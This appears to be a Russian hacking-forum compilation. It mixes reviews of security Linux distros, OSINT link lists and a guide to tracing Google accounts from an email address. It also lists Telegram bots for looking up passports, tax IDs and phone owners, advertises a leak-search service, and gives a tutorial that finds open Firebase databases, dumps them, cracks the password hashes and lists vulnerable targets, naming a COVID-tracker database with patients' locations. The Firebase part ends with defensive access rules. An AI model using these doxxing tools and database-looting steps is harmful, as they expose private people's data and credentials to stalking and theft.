Tsurugi (это слово означает двуручный японский меч) создан на основе Ubuntu, в качестве GUI используется MATE. Предназначен он больше для форензики или OSINT, нежели для пентеста, однако его инструментарий, как и некоторые особенности, позволяют использовать его и в этом направлении. Изначально система поставляется в режиме live-образа, но при желании можно произвести постоянную установку.

Стандартный рабочий стол

Войдя в систему, видим несложный GUI, предусмотрительно обвешанный со всех сторон виджетами показателей загрузки процессора, жестких дисков, оперативной памяти, скорости сети и прочего.

Да, рука создателей Kali тут довольно сильно заметна. В глаза сразу бросается обилие предустановленных инструментов, которые нужны далеко не всегда. При этом интерфейс системы выглядит более чем минималистично и компактно. А вот логика работы системы безопасности, как и работы с вебом или защиты от отслеживания, основана на лучших практиках DEFT.

Весь основной арсенал расположен в Applications → TSURUGI.

Меню Tsurugi

Здесь и работа с образами, и анализ вредоносов, и восстановление данных, и, как упоминалось, набор утилит для OSINT.

Стоит иметь в виду, что эта ОС, как и Kali, не имеет защиты от кривых рук. Она подойдет тем, кто имеет хорошие навыки работы с Linux и действует предусмотрительно и вдумчиво. Как и положено острому японскому мечу!

Обширный инструментарий позволяет использовать систему как мультитул для широкого спектра задач. Пусть Tsurugi и немного смахивает на Kali, серьезные различия все равно имеются. При том что некоторые из утилит так же, как и в Kali, работают некорректно или не работают вообще, процент проблемных тулз здесь намного меньше, и видно, что об этом кто-то заботится.

Если по каким-то причинам ты не хочешь использовать Kali, то Tsurugi станет достойным инструментом в твоем наборе. Пять звезд не поставим как минимум потому, что один из авторов этого обзора отложил кирпич от звука меча при старте ОС… Впрочем, давай не будем о грустном.

Parrot

• Первый релиз: 2013
• Основан на: Debian
• Платформы: x86, x64, ARM
• Графическая оболочка: MATE

Скачать

Этот красивый дистрибутив Linux основан на Debian и разработан командой Frozenbox специально для тестов безопасности компьютерных систем, поиска и оценки различного ряда уязвимостей.

Что же внутри? В качестве окружения рабочего стола здесь все тот же MATE. Опыт использования (субъективно) приятный.

Сверху, в разделе Application, ты найдешь утилиту Anon Surf. Одна из особенностей Parrot — в ней предустановлены некоторые средства анонимизации, и при выборе Anonsurf Start весь трафик системы будет перенаправлен через Tor. В этом же разделе есть возможность использовать DNS проекта OpenNIC — это вненациональная альтернатива реестрам доменов верхнего уровня. Здесь же, выбрав параметр Check IP, можно проверить текущий внешний IP.

Второй раздел — Cryptography. Здесь стоит обратить внимание на утилиту GPA — это графический интерфейс программы GnuPG , предназначенной для шифрования информации и создания электронных цифровых подписей. Это, по сути, альтернатива шифрованию PGP. А если тебе нужен GPG, то под рукой будет утилита zuluCrypt — аналог VeraCrypt, который позволяет шифровать папки, разделы, флешки и прочее.

Следующий (и самый интересный) раздел — Parrot. В нем собраны именно те утилиты для тестирования защищенности компьютерных систем, из-за которых эта ОС попала в наш обзор. Многие из представленных утилит нам уже известны по Kali Linux, но есть и уникальные.

Подробнее хотелось бы остановиться на вкладке «Интернет». Здесь мы видим предустановленный Tor Browser и биткойн-кошелек Electrum , а также утилиту XSSer — фреймворк для обнаружения и эксплуатации XSS-уязвимостей в веб-приложениях. Тут же есть почтовый клиент Claws Mail , это полноценный почтовый клиент с поддержкой шифрования GPG. Бонусом идет Ricochet IM — децентрализованный анонимный мессенджер, работающий через сеть Tor.

Это, пожалуй, все особенности Parrot Security OS, о которых хотелось бы рассказать. Как видно, Parrot OS подходит не только для тестов на проникновение, она может и служить ОС для ежедневного использования тем, кто знает, зачем им это нужно.

Нам Parrot показалась качественно и удобно сделанной ОС. Приятно работать с системой, где не нужно предварительно починять инструменты.

BlackArch

• Первый релиз: неизвестно
• Основан на: Arch
• Платформы: x64
• Графическая оболочка: отсутствует, есть несколько менеджеров рабочего стола

Скачать

BlackArch — самый крупный по объему образа дистрибутив. Актуальная версия занимает больше 14 Гбайт! Загружать, кстати, при желании можно через торрент, и сидов всегда много.

Оцени дружелюбие интерфейса: если тебе удалось выкачать этого монстра и запустить его, нужно ввести логин и пароль, о которых ты должен прочесть на сайте в инструкции по установке (это root/blackarch, если что). Про live- пользователей, видимо, забыли.

Дальше: после логина не видно никаких намеков на меню или что-то в этом роде. Перед нами практически голый Fluxbox, поэтому оно вызывается по клику правой кнопкой мыши в любом месте рабочего стола.

Группы приложений BlackArch

Все приложения удобно разложены по категориям в подменю blackarch основного меню. Представлены 49 категорий, в которых есть инструменты на любой случай жизни. Навигация по меню с помощью мыши, как в Windows? О нет, в этом дистрибутиве про мышь смело можно забыть. Только клавиатура, только хардкор! С другой стороны, раз ты решил связаться с *nix-системами и взломом, глупо рассчитывать на что-то другое.

Что касается собственно инструментов, то тут представлены все популярные и не очень тулзы для взлома, включая, конечно, такие знаковые, как Metasploit и BeEF XSS. Делать обзор всех инструментов этого поистине огромного набора — занятие еще более безнадежное, чем в случае с Kali и Parrot. Так что я пройдусь по верхам, а ты, если будет интересно, сможешь углубиться в чтение документации настолько, насколько посчитаешь нужным.

Wine атакует!

BlackArch не стесняется использовать Wine для запуска некоторых «неродных» приложений. В качестве примера — mft2csv (на скриншоте выше), который парсит MFT файловой системы NTFS для дальнейшего анализа. В наличии имеется и Java (OpenJDK 14.0.1).

MSF тоже на месте
Терминал, как и в целом графическая оболочка системы, выглядит уныло, зато версии софта актуальные. С одной стороны, кажется, что хотели сделать как в кино про хакеров, с другой — система все же вполне юзабельна, хотя и требует серьезных навыков.

В общем, если ты не готов пробираться через минное поле конфигов, аргументов при запуске софта, гугленья на каждый чих и прочие прелести этого мультитула — смотри в сторону Kali и Parrot, там хоть что-то можно сделать без настольного справочника. К новичкам BlackArch более чем недружелюбна. И, ясен пень, не вздумай ставить ее как основную.

BackBox

• Первый релиз: 2010
• Основан на: Ubuntu
• Платформы: x64
• Графическая оболочка: Xfce

Скачать

И под конец — еще один дистрибутив, стоящий особняком от остальных. BackBox не претендует на звание лучшего хакерского мультитула, зато он как нельзя лучше подходит для повседневного использования. Графическая оболочка тут Xfce, что минимизирует потребление системных ресурсов. С сайта доступны для скачивания два варианта — ISO и Torrent. Образа для виртуальных машин нет.

BackBox основан на Ubuntu (точнее, Xubuntu), что делает удобным его использование как домашней ОС, к тому же по Ubuntu доступна куча документации и форумов с ответами на распространенные вопросы. Тут нет каких-то твиков ядра, так что никакие махинации ничего не испортят. Такие особенности делают этот дистр прекрасным выбором для начинающего пентестера.

Меню BackBox Linux 7

Инструментов из коробки поставляется не так и много, всего около 200 штук, но для первых шагов в ИБ вполне достаточно. В остальном BackBox — это просто Xubuntu со всеми ее ~~багами~~ фичами и функциями.

Важный плюс, на который я не могу не обратить внимание, — все инструменты очень удобно сгруппированы в меню. Даже если ты не знаешь ни одного инструмента, например, для атак на Wi-Fi, ты с легкостью найдешь их.

Сказать больше особо нечего, просто пользуйся на здоровье.

Сводная таблица

Выводы
Тут должна была быть лекция, что недопустимо использовать большинство из этих дистрибутивов как основную ОС, но ее не будет. Пробуй разные дистры, выбирай тот, что ближе твоему сердцу, и желаем тебе удачи.

авторы @ Hackcat aka hackcatdev & @ kass-gameson
хакер.ру

Небольшая подборка интересных кейсов по OSINT с решениями.
Тем, кто не шибко знаком с этим хозяйством - будет очень интересно. Тем, кто немного вкурсе - можно освежить знания и даже узнать что-то новое для себя.
Сборник будем дополнять, на полноту не претендуем)
ОСТОРОЖНО! ССЫЛКИ на сторонние ресурсы!

-Как найти место по фотографии
И сгонять за заброшенный особняк

Spoiler: 1

http://vas3k.ru/blog/388/

-Как найти аккаунты и личные данные человека в сети
Инструменты для деанона по открытым источникам

Spoiler: 1

http://vas3k.ru/blog/389/

-Пятиминутный кейс по OSINT №1

Spoiler: 1

https://telegra.ph/Pyatiminutnyj-kejs-po-OSINT-1-01-16

-Пятиминутный кейс по OSINT №2

Spoiler: 1

https://telegra.ph/Pyatiminutnyj-kejs-po-OSINT-2-01-16

-Пятиминутный кейс по OSINT №3

Spoiler: 1

https://telegra.ph/Pyatiminutnyj-kejs-po-OSINT-3-03-12

-Пробив Евгения Вольнова - украинского пранкера

Spoiler: 1

http://evgeniy-volnov.biz/

-Прохождение конкурса “Конкурентая разведка“ на PHDays III 2013-го года

Spoiler: 1

https://habr.com/company/pt/blog/184450/

-Разбор заданий конкурса «Конкурентная разведка» на PHDays IV 2014-го года

Spoiler: 1

https://habr.com/company/pt/blog/225353/

-Разбор заданий конкурса «Конкурентная разведка» на PHDays V 2015-го года

Spoiler: 1

https://habr.com/company/pt/blog/261459/

-Конкурентная разведка на PHDays: шпионим через Интернет вещей, 2017-ый год

Spoiler: 1

https://www.phdays.com/ru/press/news/konkurentnaya-razvedka-na-phdays- shpionim-cherez-internet-veschej/

-ICO и безопасность: разбор конкурса «Конкурентная разведка» на PHDays

Spoiler: 1

https://habr.com/company/pt/blog/413203/

-Деанонимизация для домохозяек

Spoiler: 1

https://xakep.ru/2014/03/15/62206/

-Использование методов онлайн-поиска данных для ответов на вопросы «Кто, где и когда» в отношении той или иной личности

Spoiler: 1

http://verificationhandbook.com/book2_ru/chapter2.php

-Инструменты для онлайн-поиска и техники расследований

Spoiler: 1

http://verificationhandbook.com/book2_ru/chapter3.php

-Использование пользовательского контента для расследований нарушений прав человека и военных преступлений

Spoiler: 1

http://verificationhandbook.com/book2_ru/chapter7.php

-Исследование фотографий. Практический пример.
Установление адреса по фотографиям интерьера и фасада объекта

Spoiler: 1

http://ci-razvedka.ru/Issledovanie-foto.html

-Немного о том, как можно манипулировать метаданными фотографии

Spoiler: 1

https://al-kuzin.livejournal.com/197505.html

Статья о том, как по адресу электронной почты Gmail подтянуть всевозможную информацию о владельце почты с остальных Google сервисов.

Множество людей, имеющих учетную запись Google, могут не догадываться о том, что Google использует различные номера, имена, сигнатуры и прочие бессмысленные (на первый взгляд) строки для идентификации учетных записей. В частности о том, что все они доступны для просмотра другими пользователями, и между ними можно выявить связь для дальнейшей разведки.

Самый простой пример - ныне почивший Google+. Идентификатор аккаунта (Google UserID), подключенный к приложениям Google, таким как Google Maps или Google Photos, можно было увидеть напрямую, открыв страницу человека или его фотоальбом.

Поиск и сбор Google UserIDs
Самый простой и быстрый способ собрать множество Google UserID для дальнейшей разведки - это использование Google Contacts. Для этого необходимо сформировать CSV-файл с именами и адресами электронных почт интересующих нас пользователей, а затем импортировать его.

После этого, мы открываем инструменты разработчика в браузере (F12), переключаемся на вкладку "Network" и перезагружаем страницу для того, чтобы получить «сырой» ответ от сервера, содержащий сведения о только что добавленных контактах. Среди множества отправленных запросов, нас интересует лишь четыре основных - к «contacts.google.com», с конечной точкой «batchexecute».

Нажав на последний, мы увидим длинную строку с данными, которые обрабатываются в дальнейшем нашим браузером, согласно Javascript-сценариям.

Это именно то, что нам нужно, но работать в браузере с этими данными будет не удобно, учитывая, что у нас 624 контакта вкупе с кучей мусора. Давайте вытащим эту информацию и сохраним в текстовом файле, для дальнейшей обработки. Для этого щелкните ПКМ на строке с запросом и выберите «Copy as cURL (POSIX)».

Вставьте готовую команду в терминал и направьте вывод в текстовый файл.

Нужные нам идентификаторы пользователей можно найти, выполнив поиск 21-значных десятичных чисел, начинающихся с цифр «10» или с «11». Это проще всего сделать, используя регулярные выражения.

Следует учесть, что не у каждого аккаунта можно получить Google UserID при помощи данного метода. После проделанных манипуляций, я обнаружил, что из 624 ранее добавленных контактов, я смог извлечь лишь 130 идентификаторов. Это примерно 20% всех пользователей, что не есть хорошо.

Помимо этого способа, как и следовало ожидать, данные идентификаторы также можно найти вручную, в исходном коде страницы. Для этого вы переходите в список контактов, открываете интересующий вас контакт и, используя инструмент разработчика с вкладкой «Инспектор» (Firefox) или «Элементы» (Chrome), выполняете поиск: "data-sourceid". Там будет два значения, второе - как раз то, что нам нужно.

Чтобы быстро собрать весь список Google UserID этим способом, если вы не хотите писать скрипты, хождение по страницам и парсинг можно автоматизировать при помощи расширения Data Miner. В нем необходимо будет создать рецепт для поиска следующего HTML-фрагмента (удивительно, но имена классов вроде бы не меняются):

Code:Copy to clipboard

<div class="NVFbjd LAORIe "data-sourceid="

Предупреждение
Опять же, при двух описанных выше способах, не все контакты содержали идентификаторы, несмотря на то, что они точно есть у каждой учетной записи. Единственный надежный способ получить Google UserID у остальных контактов - использование Google API. Но так как в данный момент у меня нету времени для того, чтобы написать скрипты для автоматизации, я буду рад, если другие люди займутся этим. Но, прежде чем это сделать, давайте просто взглянем на сам API.

Google API
Если Google UserID не был получен в результате дампа контактов, но вы действительно заинтересованы в изучении конкретного почтового адреса, есть другой способ получения желанного идентификатора. Для этого мы рассмотрим Google People API, который дает возможность извлекать всевозможную известную информацию из ваших контактов. Адреса, имена, номера телефонов и любую другую личную информацию, которую вы самостоятельно указали контактам, возможно извлечь. Но сейчас нас интересует поле «Metadata», поскольку именно оно содержит Google UserID.

В качестве resourceName (это один из обязательных параметров, при выполнении запросов к данному API) будет выступать еще один внутренний идентификатор, который я, для удобства, назову contactID. Его можно найти в текстовом файле, который мы создали ранее, или просто открыв профиль нужного контакта и посмотрев запросы, отправленные на сервер. В одном из них, вы сможете найти его - он начинается с буквы «c» и содержит около 19 цифр.

Этой информации нам будет достаточно. Теперь мы заходим в Google API и вводим полученные данные для выполнения запроса.

Не забываем перед этим создать проект, предоставить ему соответствующие права на использование определенных функций и так далее.

После того, как мы заполучили Google UserID, есть три пути, где мы можем сразу это использовать: найти возможные фотоальбомы пользователя, найти его отзывы или места, которые он посещал, и последнее - найти учетную запись на YouTube. Давайте взглянем на это!

Фотоальбомы
Чтобы найти фотоальбом пользователя, нам просто нужно подставить его Google UserID в следующий URL:

Code:Copy to clipboard

https://get.google.com/albumarchive/{userID}

Не у всех есть такой фотоальбом. Но если он есть, зачастую в нем можно найти много интересного, как это было в моем случае, смотрите скриншот ниже. Зная российское законодательство, я бы побоялся публиковать свастоны (осуждаю).


И самое приятное то, что иногда в альбоме можно найти фотографии с указанным местоположением на Google Maps! Вот одна из фотографий, полученных из одного фотоальбома:

А вот точные координаты:

Google Maps
Принцип аналогичен предыдущему, просто подставляем идентификатор в ссылку ниже:

Code:Copy to clipboard

https://www.google.com/maps/contrib/{userID}

После того, как мы откроем страницу, по умолчанию отобразятся фотографии пользователя, с информацией о местоположении. Но можно и открыть его Reviews. Удивительно, что имея лишь адрес электронной почты, можно узнать чье-то настоящее имя. Если этот "кто - то", конечно же, не использует никнейм.

Youtube-аккаунт
Мало кто знает, но зачастую можно найти YouTube-канал пользователя, при наличие его электронный почты. Пользователь вправе создать несколько каналов, привязанных к одной электронной почте, но, по умолчанию, у него есть одна стандартная учетка на YouTube, носящая имя аккаунта:

Code:Copy to clipboard

https://www.youtube.com/feeds/videos.xml?user={accountName}

В результате, мы получим RSS-страницу с информацией о канале. Google UserID тут бесполезен, однако мы можем подставить в качестве accountName ту часть Email-адреса, которая идет перед "@".

Для проверки, я выбрал случайного пользователя с никнеймом «test» (у которого, возможно, электронная почта - test@gmail.com). И нашел Youtube-канал, который ему принадлежит.

Мне стало интересно и я написал простенький скрипт, который подставлял никнеймы из большого списка с 624 Email-ами в тот самый URL. В результате, я обнаружил 45 Youtube-каналов с таким же именем, как у почты.

Помимо этого, когда речь заходит о Youtube-аккаунтах, существует еще несколько идентификаторов. Прежде всего, самый очевидный - тот, который мы видим в адресной строке, когда заходим на канал.

Code:Copy to clipboard

https://www.youtube.com/channel/UCAiaFvFFZOwlU8Sw8S0dunQ

Второй идентификатор - название канала (которое можно изменять в настройках). В данном примере это "tipsbmx".


В исходном коде страницы можно обнаружить и стандартное имя пользователя. Для этого, мы ищем один из параметров: "ownerProfileUrl" или "vanityChannelUrl":


Помимо этого, можно найти и тот самый Google UserID, который я упоминал выше. Для этого, мы ищем в исходном коде «plus.google.com»:

В конечном итоге, мы имеем целых 4 идентификатора:

• ID Youtube канала
• Название Youtube канала
• Имя пользователя
• Google userID

Google Drive
В Google Drive также существует возможность получить некоторую информацию о владельце загруженного файла. В одном из кейсов, связанным с одним вирусописателей, фигурировала следующая ссылка:

Code:Copy to clipboard

https://drive.google.com/drive/folders/1_YoL0sjVfyXsxa1hREgpcTrQaYHgtPWk

Когда мы её открываем, мы видим имя, адрес электронной почты и сам файл. На первый взгляд, это вся информация, которая нам доступна.

Но внутри исходного кода страницы есть возможность найти наш любимый Google UserID.

Как и ранее, нам следует искать строку из 21 символа, которая начинается с 10 или 11. Чтобы упростить поиск, добавьте перед этими символами hex код двойных кавычек, который равен \x22. В итоге, ищем:

• \x2210
• \x2211

Ну а после этого следуют уже ранее изученные способы разведки. В нашем случае, в Google Reviews попался реальный отзыв об одном из ресторанов с этого фейкового аккаунта.


Следует учесть, что для получения Google UserID вышеупомянутым способом, необходимо авторизоваться в Google. Если вы хотите остаться анонимным или по какой - то причине не можете зайти в свой аккаунт, есть еще один способ узнать, кто загрузил файл. Для этого открываем вкладку "Network", в инструментах отладки, затем саму страницу с файлом, и фильтруем запросы, содержащие "permission". Такой будет всего один и он будет содержать

• Google UserID
• Имя пользователя
• Адрес электронной почты
• Домен электронной почты
• Роль пользователя
• Тип пользователя
• Ссылка на аватар


Вывод
Google присваивает множество различных идентификаторов пользователям, которые лежат на поверхности и могут быть использованы исследователями. При этом, весь процесс поиска и сопоставления результатов можно автоматизировать. Я не профессиональный разработчик, но я люблю исследовать код и узнавать о том, как все это работает, поэтому я могу законно использовать полученную информацию в своих собственных интересах.

[Источник](https://medium.com/week-in-osint/getting-a-grasp-on- googleids-77a8ab707e43)
Перевод: @cybred

Вдруг кому интересно:

[ Магистерская программа «Аналитик деловой разведки»

](https://www.hse.ru/ma/intelligence?fbclid=IwAR1L_FwP6Mfv6fc4xB2FtgdYP87kbnUJVBwG273dzDEhDKpOvd_YU9CeqPM)

Программа подготовит специалистов в области информационно-аналитического обеспечения комплексной безопасности бизнеса. Акцент сделан на изучении функции деловой разведки как неотъемлемой составной части менеджмента организации

www.hse.ru

- Список ботов по OSINT(самый полный) - /threads/101878/
- Малоизвестные боты для "пробива" - /threads/66630/
- В каких канал и чатах состоит TG юзер - /threads/67689/
- Подборка чатов, каналов и форумов по OSINT - /threads/67483/
- Телеграм боты по пробиву персональных данных - /threads/94219/
- Боты или сервисы для пробива гос. номеров машин СНГ/РФ - /threads/93783/
- Полезные OSINT Telegram боты (OSINT на Telegram) - /threads/30883/
- Помогите определить бот? - /threads/88949/

Делюсь своей подборкой по пробиву в ТГ
@Smart_SearchBot - оч информативный бот, много баз, платный, есть бесплатный тестовый период (раньше был 2 недели)
@get_contact - 5 запросов телефонов в сутки
@AntiParkonbot - по гос номеру имя и номер телефона владельца авто
@deanonym_bot - помогает узнать id собеседника в ТГ
@get_caller_bot - поиск по утечкам., список баз представлен в описании
@getGmail_Bot - бот находит привязанный к любому email GMAIL
@mailsearchbot - утечки email
@userinfobot - еще один ТГ анонимайзер

---

@HowToFind_Ru_bot - ассистент в OSINT. подскажет методы и ресурсы поиска
@KRIncognito - нормальные были парни, жаль затухли. может оживут еще

Облачная база данных — штука удобная: считай, вся работа по деплою и настройке сервера за тебя уже сделана, осталось только пользоваться! Админов это расслабляет настолько, что такие базы часто остаются незащищенными и ищутся с помощью поисковиков. Один нюанс — этим поисковиком не может быть Google!

Firebase — это облачная платформа, которую разработала компания Envolve в 2011 году. Изначально это была база данных для приложений‑чатов, но позже ее полюбили разработчики многопользовательских онлайновых игр. Это подвигло основателей разделить Firebase на две части: модуль чата и модуль игрового фреймворка.

Два года спустя, в 2014 году, Google приобрела Firebase и продолжила развивать. Программные интерфейсы для этой базы данных есть для множества платформ и языков программирования.

С технической точки зрения Firebase — крутая и удобная штука. Кажется, что ничего докручивать и допиливать здесь не нужно. Но безопасная настройка облачной базе таки нужна, и многие владельцы об этом забывают, чересчур расслабившись. Настолько, что забывают о простейшей вещи — аутентификации.

ИЩЕМ ОТКРЫТЫЕ БАЗЫ ДАННЫХ​

Получается, что в интернете масса не закрытых паролем баз данных, а это легкая добыча для злоумышленников. Только вот взять и нагуглить их не получится, потому что в Google решили, что эту проблему можно решить, просто исключив эти базы из поисковой выдачи. Ловко! Но крайне ненадежно.

Поиск Google по запросу Firebase
Ничто не мешает нам воспользоваться другим поисковиком — например, Bing или DuckDuckGo. Они выдают уже намного больше полезной информации.

Поисковый запрос в Bing и DuckDuckGo

Что можно сделать дальше, после того как найдены домены с уязвимыми базами? Открываем любую ссылку — например, https://hacker- news.firebaseio.com/v0/topstories.json. Информация о ней бесполезна, но если убрать из ссылки название таблицы topstories и оставить только .json, то можно проверить, защищена база или нет. В этом случае результат выглядит вот так:

Code:Copy to clipboard

{
  "error" : "Permission denied"
}

Все верно, лично я бы знатно удивился, если бы владельцы этого сайта допустили настолько вопиющую оплошность. Но некоторые ее таки допускают. Минут десять перебора ссылок, и поиск увенчается успехом.
Найденная открытая база данных

Я нашел что‑то более интересное — учетки с хешами паролей. Выбрать их из файла несложно простым скриптом на Python или утилитой jq.

При помощи HashID определяем тип хешей (это был MD5) и загоняем в hashcat. Если нет достаточно мощного железа, можно воспользоваться онлайновым сервисом — тулза FindMyHash автоматически их подбирает. Все эти утилиты предустановлены в Kali Linux.

Взлом пароля через FindMyHash

Ждем десять минут, и перед нами логины и пароли в открытом виде.

Найденная база с открытыми паролями в открытом виде

АВТОМАТИЗАЦИЯ​

Сидеть, менять поисковики и перебирать все URL вручную очень нудно. Слишком часто видишь «error : Permission denied». Значит, пора автоматизировать! Программировать, правда, не потребуется, потому что это уже сделали до нас. Возьмем, к примеру, скрипт за авторством Францеска Эрреры.

Скрипт сам подбирает URL и ищет уязвимые базы данных.

Качаем его и устанавливаем зависимости:

Code:Copy to clipboard

git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txt

И запускаем:

Code:Copy to clipboard

python3 firebase.py -p 4  -c 150 –dnsdumpster

Ключи:

• p — указывает количество потоков (по умолчанию 1, максимум 4);
• dnsdumpster — генерирует URL самостоятельно;
• с — какое количество доменов генерировать.

Да, скрипт умеет генерировать ссылки самостоятельно. Точнее, делает это не сам, а обращается за помощью к утилите DNSdumpster.

Результат работы скрипта

По результату видно, что из найденных баз:

• 37 урлов «битые» или больше не существуют;
• 171 база имеет аутентификацию при обращении к данным и защищена;
• одна база с подозрением на уязвимость;
• 25 баз не защищены или уязвимы.

Можно скормить скрипту и свой список. В нем должны быть только поддомены третьего уровня. Например, ты делаешь вот такой входной список:

Code:Copy to clipboard

xxx
yyy
zzz

Тогда скрипт проверит вот эти URL:

Code:Copy to clipboard

https://xxx.firebaseio.com
https://yyy.firebaseio.com
https://zzz.firebaseio.com

В поисках поддоменов​

Чтобы получить наиболее эффективный список, можно воспользоваться скриптом sublist3r, который использует разные техники поиска и OSINT, чтобы подобрать наиболее правдоподобные варианты.

Запускаем:

Code:Copy to clipboard

python3 sublist3r.py -d firebaseio.com

И на выходе получаем около 650 доменов. Работает очень быстро.

Поиск доменов программой sublist3r

Еще одна утилита для генерации доменов — subbrute. Она выдала мне в районе 100 поддоменов, но работала 30–40 минут.

Поиск поддоменов программой subbrute

[Censys-subdomain-finder](https://github.com/christophetd/censys-subdomain- finder), на который я возлагал большие надежды, выдал всего семь доменов. К слову, и сам сервис выдал немного — 25 урлов.

Все перечисленные утилиты не входят в состав дистрибутива Kali Linux, их пришлось качать отдельно.

Из онлайновых сервисов можно воспользоваться nmmapper, DNSdumpster, [Pentest-Tools](https://pentest- tools.com/information-gathering/find-subdomains-of-domain).

Если все еще мало, можно задействовать знания о том, что настройки интеграции происходят в файле google-services.json, и поискать в гите запросом site:github.com google-services.json. Этот вариант идет вразрез со словом «автоматизация», зато можно докопаться до уникальных баз.

Ковыряем и дописываем скрипт​

Теперь мы вооружены добротным набором урлов и знаем, что какие‑то из них могут быть уязвимы. Даже можем запустить скрипт и проверить количество неверно настроенных баз из нашего списка. Но цель в таких случаях — не собрать статистику, а получить уязвимые цели. Поэтому откроем код скрипта и слегка поправим.

Посмотри вот на этот кусок кода:

Code:Copy to clipboard

urls = set()
with open(args_.list, 'r') as f:
  [urls.add('https://{}.firebaseio.com/.json'.format(line.rstrip())) for line in f]

Из него понятно, как формируется полный адрес. А в конце формируется отчет:

Code:Copy to clipboard

print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))

Кусок кода с проверкой я приводить не буду. Там нет ничего любопытного, мне нужно было найти само присвоение. И вот оно:

Code:Copy to clipboard

with open(args_.fn, 'w') as f:
  json.dump(loot, f)
l = {'1':0, '0':0, '-1':0, '-2':0}
for result in loot:
  l[str(result['status'])] += 1

Вот в этом месте я создаю свой массив по статусу 1. Так как я еще не понимаю, чем его заполнять, записываю все подряд. Получилось примерно следующее:

Code:Copy to clipboard

l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []
for result in loot:
  l[str(result['status'])] += 1
  if str(result['status']) == '1':
    Vulnerable.append(result)

И в конце добавляю вывод результата в консоль:

Code:Copy to clipboard

print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)

После запуска вижу такую картину.

Работа программы после вмешательства

Мне высыпалось все, что хранилось в базах. Зато теперь я знаю, что записывать в Vulnerable. Правим код, как надо:

Code:Copy to clipboard

l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []
for result in loot:
  l[str(result['status'])] += 1
  if str(result['status']) == '1':
    Vulnerable.append(result['url'])
...
print('404 DBs:                 {}'.format(l['-2']))
print('Secure DBs:              {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs:          {}'.format(l['1']))
print(Vulnerable)

На этот раз при запуске видим то, что было нужно, — список уязвимых баз.
Работа скрипта после хирургического вмешательства

Особенно меня заинтересовала вот эта ссылка: https://covid-19-tracker-e76ca.firebaseio.com/.json. В Малайзии так спешили отслеживать перемещения больных ковидом, что не поставили пароль на базу данных с их координатами...

КАК НЕ ДОПУСТИТЬ УТЕЧКУ​

Назвать эту проблему уязвимостью — некоторое преувеличение. Все сводится к тому, что Google позволяет открыть доступ к содержимому базы всем неавторизованным пользователям, и некоторые разработчики так и поступают.

Поэтому, чтобы защититься, достаточно прописать политики безопасности Firebase. Google предлагает придерживаться следующих правил.

Даже во время разработки (на тесте и на stage) не стоит открывать доступ ко всем данным в Firebase неавторизованным пользователям, но есть возможность открыть их при авторизации:

Code:Copy to clipboard

service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if request.auth != null;
    }
  }
}

Это правило необходимо, когда нескольким пользователям нужно работать с одним контентом.

Следующее правило дает доступ к данным только владельцам этих данных. Остальные пользователи не смогут их видеть или обрабатывать:

Code:Copy to clipboard

service cloud.firestore {
  match /databases/{database}/documents {
    // Allow only authenticated content owners access
    match /some_collection/{userId}/{documents=**} {
      allow read, write: if request.auth != null && request.auth.uid == userId
    }
  }
}

И третье правило устанавливает доступ на чтение некоторых данных некоторым пользователям, но редактирование — только его владельцу:

Code:Copy to clipboard

service cloud.firestore {
  match /databases/{database}/documents {
    // For attribute-based access control, Check a boolean `admin` attribute
    allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
    allow read: true;
    // Alterntatively, for role-based access, assign specific roles to users
    match /some_collection/{document} {
      allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Reader"
      allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Writer"
    }
  }
}

Более подробные сведения о безопасности аутентификации и контроле доступа можно найти в документации Firebase.

ЗАКЛЮЧЕНИЕ​

Итак, мы рассмотрели, как происходит утечка данных, разобрались с поиском уязвимых URL, научились автоматизировать процесс и узнали, как избежать этой проблемы.

В документации по безопасности Firebase приведены и сами правила, и разные способы защитить данные. Не стоит ими пренебрегать, перекладывая ответственность на какие‑нибудь гейты или прокси‑серверы. Адрес базы может быть обнаружен.

Автор 8bit
источник хакер.ру

Доброго времени суток форумчане. Час назад мне позвонил человек с незнакомого номера и начал угражать (доогадываюсь кто это но не знаю лично). Прошу помочь мне и подсказать как можно узнать информацию о владельце номера. Заранее благодарю

hello guys.
we are started new project now you can search any domain , email , password , port ... in under sec

create account and search in user panel
website : https://findemail.io
telegram news channel :


findemail News channel

website : https://findemail.io

t.me

**logs section you are search by domain , username , email

next month we are add search by ( Technology , keyword )**

**Leak Search = You can search on all leak database search by (Domain, Username, ip, phone, and ...)

Domain search = you can extract email from any domain

**

**Выкладываю личную подборку Telegram ботов, которой сам пользуюсь последние полгода. Настоятельно рекомендую использовать виртуальные номера, так как информация о запросах к боту может логироваться. Регистрируйте аккаунт Telegram на любом удобном сервисе на виртуальную сим-карту+ 2FA для защиты от брута. Далее можем начинать осинтить:

Автоматизированный OSINT:**
@EyeGodsBot - лучший платный бот для комплексного пробива
@SearchPerson_bot - один из лучших бесплатных ботов (howtofind аналог)
@Smart_SearchBot - комплексный пробив с широким функционалом
@SovaAppBot - осинтит по Telegram, VK, радиосигналы и прочее
@AngelProbiv_Bot - "Архангел", ФИО, паспорт, ИНН, СНИЛС
@imole_bot - КРОТ, пробивает комплексно (не использовал)
@mvd_fsb_bot - комплексный пробив (широкий список услуг)
@HimeraSearch_bot - проф пробив фио, телефон, почта
@AvinfoBot- проверка данных об авто по госномеру, VIN, номеру ПТС, ФИО
@quick_osint_bot — ищет по телефону, email, госномеру или VIN авто
@Dosie_Bot - составляет досье на человека по Украине (не пользовался)
@info_baza_bot - пробив по Украине (не пользовался)

Точечный OSINT по username/ID в Telegram
@deanonym_bot - пробив username от "Интернет-Розыск" (требует номер)
@anonimov_bot - пробивает username в Telegram
@LinkCreatorBot — бот найдет ID аккаунта создателя ссылки
@usinfobot — найдет ID username
@CheckID_AIDbot — найдет ID username
